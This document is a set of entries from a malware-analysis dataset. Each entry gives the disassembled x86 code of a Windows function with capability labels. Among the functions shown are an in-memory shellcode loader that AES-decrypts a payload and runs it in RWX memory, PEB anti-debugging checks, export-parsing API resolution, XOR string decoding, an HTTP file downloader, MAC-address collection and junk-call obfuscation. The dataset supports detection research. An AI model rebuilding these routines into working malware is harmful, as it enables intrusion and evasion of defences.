joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40178f
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp], str._DEBUG__Executing_payload_in_memory...
call sym._puts
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4017ea
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str._DEBUG__VirtualAlloc_failed_with_error__lu_n
call sym._printf
jmp 0x4018c5
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401877
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str._DEBUG__CreateThread_failed_with_error__lu_n
call sym._printf
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFree_12
sub esp, 0xc
jmp 0x4018c5
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFree_12
sub esp, 0xc
mov dword [esp], str._DEBUG__Payload_execution_completed.
call sym._puts
leave
ret
Function at 0x4018c7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x60
call sym.___main
mov dword [esp], str._DEBUG__Program_started.
call sym._puts
mov byte [esp + 0x3c], 0xf7
mov byte [esp + 0x3d], 0x9b
mov byte [esp + 0x3e], 0x14
mov byte [esp + 0x3f], 0x1b
mov byte [esp + 0x40], 0x46
mov byte [esp + 0x41], 0xc0
mov byte [esp + 0x42], 0x64
mov byte [esp + 0x43], 0xe3
mov byte [esp + 0x44], 0x1e
mov byte [esp + 0x45], 0xed
mov byte [esp + 0x46], 0x5d
mov byte [esp + 0x47], 0x6a
mov byte [esp + 0x48], 6
mov byte [esp + 0x49], 0x19
mov byte [esp + 0x4a], 0x31
mov byte [esp + 0x4b], 0x1d
mov byte [esp + 0x4c], 0x7c
mov byte [esp + 0x4d], 0xfc
mov byte [esp + 0x4e], 0x97
mov byte [esp + 0x4f], 0x12
mov byte [esp + 0x50], 0x51
mov byte [esp + 0x51], 0xcf
mov byte [esp + 0x52], 0x2f
mov byte [esp + 0x53], 0x52
mov byte [esp + 0x54], 0xef
mov byte [esp + 0x55], 0x4a
mov byte [esp + 0x56], 0x8b
mov byte [esp + 0x57], 0xd3
mov byte [esp + 0x58], 0xcd
mov byte [esp + 0x59], 0xfe
mov byte [esp + 0x5a], 0x36
mov byte [esp + 0x5b], 0xd6
mov byte [esp + 0x2c], 0x3e
mov byte [esp + 0x2d], 0x4a
mov byte [esp + 0x2e], 0x70
mov byte [esp + 0x2f], 0x21
mov byte [esp + 0x30], 0xc1
mov byte [esp + 0x31], 0x15
mov byte [esp + 0x32], 0x54
mov byte [esp + 0x33], 0xd9
mov byte [esp + 0x34], 0x3c
mov byte [esp + 0x35], 0x8f
mov byte [esp + 0x36], 0x86
mov byte [esp + 0x37], 0xbc
mov byte [esp + 0x38], 0xae
mov byte [esp + 0x39], 0x46
mov byte [esp + 0x3a], 0x26
mov byte [esp + 0x3b], 0x5b
mov dword [esp + 0x5c], 0xb440
mov dword [esp + 0x28], 0
mov eax, dword [esp + 0x5c]
mov dword [esp + 4], eax
mov dword [esp], str._DEBUG__Encrypted_payload_size:__zu_bytes_n
call sym._printf
lea eax, [esp + 0x28]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x2c]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x3c]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x5c]
mov dword [esp + 4], eax
mov dword [esp], 0x405020
call sym._DecryptAES
mov eax, dword [esp + 0x28]
test eax, eax
je 0x401a4b
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x5c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._ExecutePayload
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call sym._free
jmp 0x401a57
mov dword [esp], str._DEBUG__Failed_to_decrypt_the_payload.
call sym._puts
mov dword [esp], str._DEBUG__Program_completed.
call sym._puts
mov eax, 0
leave
ret
Function at 0x4020b0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x413044
call sym._EnterCriticalSection_4
mov ebx, dword [0x41303c]
sub esp, 4
test ebx, ebx
je 0x4020fb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x4020f4
test esi, esi
je 0x4020f4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4020d0
mov dword [esp], 0x413044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x4022e0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x402330
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402408
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40236e
cmp eax, 4
jne 0x402390
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40237e
cmp edx, 4
je 0x40237e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004022e0
Function at 0x5e510c
Capabilities:
Encode data using xor

Disassembly:
cwde
test eax, 0x2b0fe450
scasb al, byte es:[edi]
cmpsb byte [esi], byte es:[edi]
imul ebx, dword [edi + 0x7ae76079], 0x39
adc dword [ebx - 0x4204d59], eax
and ebx, esp
sub dword [ebx - 0x1d12e710], 0x2a
in eax, 0xa8
and bh, byte [ecx]
adc edx, esi
bound esi, qword [0x2a1cbbe4]
xor eax, 0x2a1cbbe4
Function at 0x7c053726
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
lea eax, [eax + 0xc]
mov edx, eax
cmp edx, eax
je 0x7c053780
push eax
push 0x7c05228a
call fcn.7c0537be
push 7
push 0x7c0c00bc
push dword [eax + 0x30]
call fcn.7c053b17
cmp eax, 0
jne 0x7c05375a
inc eax
jmp 0x7c053782
push 0x7c0522a2
call fcn.7c0537be
push 7
push 0x7c0c00bc
push dword [eax + 0x30]
call fcn.7c053b17
cmp eax, 0
jne 0x7c05377b
inc eax
jmp 0x7c053782
pop eax
mov eax, dword [eax]
jmp 0x7c053734
xor eax, eax
ret

Function at 0x7c053798
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
mov eax, dword fs:[0x30]
mov al, byte [eax + 0x68]
and al, 0x70
cmp al, 0x70
sete al
movzx eax, al
ret

Function at 0x7c0537ac
Capabilities:
Check for peb beingdebugged flag

Disassembly:
mov eax, dword fs:[0x30]
mov al, byte [eax + 2]
test al, al
setne al
movzx eax, al
ret

Function at 0x7c0537be
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
lea edi, [0x7c0c00bc]
mov esi, dword [ebp + 8]
lodsw ax, word [esi]
xor ax, 0xe1
stosw word es:[edi], ax
cmp ax, 0
jne 0x7c0537cc
pop edi
pop esi
leave
ret 4

Function at 0x7c0537e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
lea edi, [0x7c0c00bc]
mov esi, dword [ebp + 8]
lodsb al, byte [esi]
xor al, 0xe1
stosb byte es:[edi], al
cmp al, 0
jne 0x7c0537ee
pop edi
pop esi
leave
ret 4

Function at 0x7c053a22
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0x3c]
mov eax, dword [eax + ebx + 0x78]
add eax, ebx
mov ecx, dword [eax + 0x18]
mov edx, dword [eax + 0x20]
mov edi, dword [edx + ebx]
test edi, edi
je 0x7c053a73
add edi, ebx
xchg esi, eax
push ecx
xor eax, eax
lea ecx, [eax - 1]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg esi, eax
mov esi, dword [ebp + 0xc]
repe cmpsb byte [esi], byte es:[edi]
pop ecx
jne 0x7c053a73
sub ecx, dword [eax + 0x18]
neg ecx
mov edx, dword [eax + 0x24]
add edx, ebx
movzx edx, word [edx + ecx*2]
mov eax, dword [eax + 0x1c]
add eax, ebx
mov eax, dword [eax + edx*4]
add eax, ebx
jmp 0x7c053a7a
add edx, 4
loop 0x7c053a3a
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret 8

Function at 0x7c053a81
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
push esi
push edi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
lea ebp, [eax + 0xc]
mov eax, dword [ebp]
mov esi, dword [eax + 0x30]
movzx ecx, word [eax + 0x2e]
mov edi, dword [esp + 0x10]
mov dx, word [esi]
cmp dx, word [edi]
je 0x7c053acd
cmp dx, 0x41
jb 0x7c053ab2
cmp dx, 0x5a
jbe 0x7c053ab8
cmp dx, 0x61
jb 0x7c053ac4
cmp dx, 0x7a
ja 0x7c053ac4
xor dx, 0x20
jmp 0x7c053ac6
jmp 0x7c053ae0
cmp dx, word [edi]
je 0x7c053acd
jmp 0x7c053ae0
add edi, 2
add esi, 2
sub ecx, 2
cmp ecx, 0
jne 0x7c053a9e
mov eax, dword [eax + 0x18]
jmp 0x7c053ae8
mov eax, dword [eax]
cmp ebp, eax
jne 0x7c053a93
xor eax, eax
pop edi
pop esi
pop ebp
ret 4
Function at 0x10001000
Capabilities:
Connect to http server
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x520
or dword [ebp - 0x10], 0xffffffff
push ebx
xor ebx, ebx
push ebx
push 0x4000000
push 2
push ebx
push ebx
push 0xc0000000
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x10001171
push ebx
push ebx
push ebx
push 3
lea eax, [ebp - 0x120]
push eax
mov byte [ebp - 0x120], 0x57
mov byte [ebp - 0x11f], 0x69
mov byte [ebp - 0x11e], 0x6e
mov byte [ebp - 0x11d], 0x6c
mov byte [ebp - 0x11c], 0x6f
mov byte [ebp - 0x11b], 0x67
mov byte [ebp - 0x11a], 0x6f
mov byte [ebp - 0x119], 0x6e
mov byte [ebp - 0x118], bl
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [ebp - 0x18], eax
je 0x10001171
push esi
push 1
push ebx
push 3
push ebx
push ebx
push 0x50
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
cmp eax, ebx
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x14], eax
je 0x1000116b
push 1
push 0x84000000
push ebx
push ebx
push ebx
push dword [ebp + 0xc]
push 0x10007140
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x10001166
push ebx
push ebx
push ebx
push ebx
push eax
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x10001161
push edi
mov byte [ebp - 0x520], bl
xor eax, eax
mov ecx, 0xff
lea edi, [ebp - 0x51f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 8]
push eax
push 0x400
lea eax, [ebp - 0x520]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10001157
push ebx
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x520]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10001157
cmp dword [ebp - 8], ebx
jne 0x10001100
mov edi, dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x10], edi
jmp 0x10001160
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
push dword [ebp - 0xc]
call esi
push dword [ebp - 0x14]
call esi
push dword [ebp - 0x18]
call esi
pop esi
mov eax, dword [ebp - 0x10]
pop ebx
leave
ret
Function at 0x1000134d
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetClassNameA]
push edi
xor edi, edi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
mov eax, dword [ebp + 8]
add eax, 0x880
push 0x800
push eax
call fcn.1000132e
pop ecx
pop ecx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
mov dword [ebp - 4], edi
mov edx, 0x110
xor ecx, ecx
xor esi, esi
movsx eax, byte [esi + 0x10008010]
dec eax
mov ebx, eax
sar ebx, 2
cmp ebx, dword [ebp - 4]
jne 0x1000140b
and eax, 3
test dword [eax*4 + 0x10008348], ecx
je 0x1000140b
mov ebx, esi
sar ebx, 3
add ebx, dword [ebp + 8]
lea eax, [edx + ecx]
lea eax, [ebx + eax*8]
mov ebx, esi
and ebx, 7
mov bl, byte [ebx*4 + 0x10008328]
or byte [eax], bl
inc esi
cmp esi, 0x40
jl 0x100013d1
inc ecx
cmp ecx, 0x10
jl 0x100013cf
inc dword [ebp - 4]
add edx, 0x10
cmp edx, 0x210
jl 0x100013cd
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000142a
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push esi
push edi
add eax, 0x1080
push 0x800
push eax
call fcn.1000132e
and dword [ebp - 4], 0
pop ecx
pop ecx
mov edi, 0x210
xor ecx, ecx
xor esi, esi
movsx eax, byte [esi + 0x10008050]
dec eax
mov edx, eax
sar edx, 2
cmp edx, dword [ebp - 4]
jne 0x1000148c
and eax, 3
test dword [eax*4 + 0x10008348], ecx
je 0x1000148c
mov edx, esi
sar edx, 3
add edx, dword [ebp + 8]
lea eax, [edi + ecx]
lea eax, [edx + eax*8]
mov edx, esi
and edx, 7
mov dl, byte [edx*4 + 0x10008328]
or byte [eax], dl
inc esi
cmp esi, 0x40
jl 0x10001452
inc ecx
cmp ecx, 0x10
jl 0x10001450
inc dword [ebp - 4]
add edi, 0x10
cmp edi, 0x310
jl 0x1000144e
pop edi
pop esi
leave
ret
Function at 0x100014aa
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetClassNameA]
push edi
xor edi, edi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
xor ecx, ecx
xor eax, eax
movsx edx, byte [eax + 0x10008308]
dec edx
cmp edx, ecx
je 0x10001500
inc eax
cmp eax, 0x20
jl 0x100014ec
jmp 0x10001504
mov byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 0x20
jl 0x100014ea
lea eax, [ebp - 0x34]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 8], edi
add eax, 0x80
xor edx, edx
mov dword [ebp - 4], eax
mov eax, edx
sar eax, 1
mov ecx, edx
and ecx, 1
shl ecx, 4
and eax, 0xf
or eax, ecx
mov ecx, edx
and ecx, 0x20
or eax, ecx
mov ecx, dword [ebp - 8]
movsx eax, byte [ecx + eax + 0x10008108]
mov dword [ebp - 0xc], edi
xor ebx, ebx
mov dword [ebp - 0x14], eax
push 8
mov ecx, ebx
pop eax
sar eax, cl
mov ecx, dword [ebp - 0x14]
test ecx, eax
je 0x1000156d
mov eax, dword [ebp - 0x10]
movsx eax, byte [eax + ebx]
push 0x1f
pop ecx
sub ecx, eax
xor eax, eax
inc eax
shl eax, cl
or dword [ebp - 0xc], eax
inc ebx
cmp ebx, 4
jl 0x1000154b
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add dword [ebp - 4], 4
inc edx
cmp edx, 0x40
mov dword [ecx], eax
jl 0x10001520
add dword [ebp - 8], 0x40
add dword [ebp - 0x10], 4
cmp dword [ebp - 8], 0x200
mov eax, dword [ebp - 4]
jl 0x1000151b
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001853
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetClassNameA]
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
call edi
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
mov esi, dword [ebp + 8]
push 0x1882
push esi
call fcn.1000132e
push esi
call fcn.100014aa
push esi
call fcn.1000134d
push esi
call fcn.1000142a
add esp, 0x14
xor ecx, ecx
movsx eax, byte [ecx + str.91__]
mov esi, dword [ebp + 0xc]
dec eax
mov edx, eax
sar edx, 3
movsx edx, byte [edx + esi]
and eax, 7
test dword [eax*4 + 0x10008328], edx
setne al
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0x38
jl 0x100018b6
xor ecx, ecx
movsx eax, byte [ecx + 0x100080c8]
xor esi, esi
xor edx, edx
cmp esi, 0x1c
setge dl
mov edi, eax
dec edx
and edx, 0xffffffe4
add edx, 0x38
cmp eax, edx
jl 0x10001904
lea edi, [eax - 0x1c]
mov dl, byte [ebp + edi - 0x38]
mov byte [ebp + esi - 0x70], dl
inc esi
inc eax
cmp esi, 0x38
jl 0x100018ec
xor edi, edi
movsx eax, byte [edi + 0x100080d8]
cmp byte [ebp + eax - 0x71], bl
je 0x10001940
mov eax, edi
cdq
push 6
pop esi
idiv esi
mov esi, edx
mov edx, dword [ebp + 8]
lea eax, [eax + ecx*8]
add eax, edx
mov edx, dword [esi*4 + 0x10008328]
sar edx, 2
or byte [eax], dl
inc edi
cmp edi, 0x30
jl 0x10001915
inc ecx
cmp ecx, 0x10
jl 0x100018e3
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x10001b62
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push 8
xor ebx, ebx
push 0xff
push esi
mov byte [ebp - 1], bl
mov dword [ebp - 8], ebx
call fcn.10006910
add esp, 0xc
lea eax, [ebp - 8]
push eax
push ebx
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x10001bed
push edi
push dword [ebp - 8]
call fcn.10004307
mov edi, eax
pop ecx
lea eax, [ebp - 8]
push eax
push edi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x10001bec
mov byte [esi + 3], bl
mov byte [esi + 2], bl
mov al, byte [edi + 0x194]
mov byte [esi + 1], al
mov al, byte [edi + 0x195]
mov byte [esi], al
mov al, byte [edi + 0x196]
mov byte [esi + 7], al
mov al, byte [edi + 0x197]
mov byte [esi + 6], al
mov al, byte [edi + 0x198]
mov byte [esi + 5], al
mov al, byte [edi + 0x199]
mov byte [esi + 4], al
mov byte [ebp - 1], 1
pop edi
mov al, byte [ebp - 1]
pop esi
pop ebx
leave
ret
Function at 0x10001ca1
Capabilities:
Check if file exists
Create directory
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetClassNameA]
push edi
xor edi, edi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push 0x104
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x10001d6a
lea eax, [ebp - 0x104]
push str.1024
push eax
call fcn.10006980
pop ecx
pop ecx
push edi
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x100071d0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10001d40
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001f35
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetClassNameA]
push edi
xor edi, edi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push 2
push edi
push 1
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x1000206e
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
mov ecx, dword [ebp + 0x10]
mov eax, 0x800
cmp ecx, eax
mov dword [ebp - 8], ecx
jb 0x10001fd0
mov dword [ebp - 8], eax
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x810]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x810]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0xc]
sub dword [ebp + 0x10], eax
cmp eax, 0x800
je 0x10001fbe
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
call ebx
push edi
push edi
push edi
call esi
push edi
push edi
push edi
call esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0x10], edi
jne 0x1000206e
xor eax, eax
inc eax
jmp 0x10002070
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret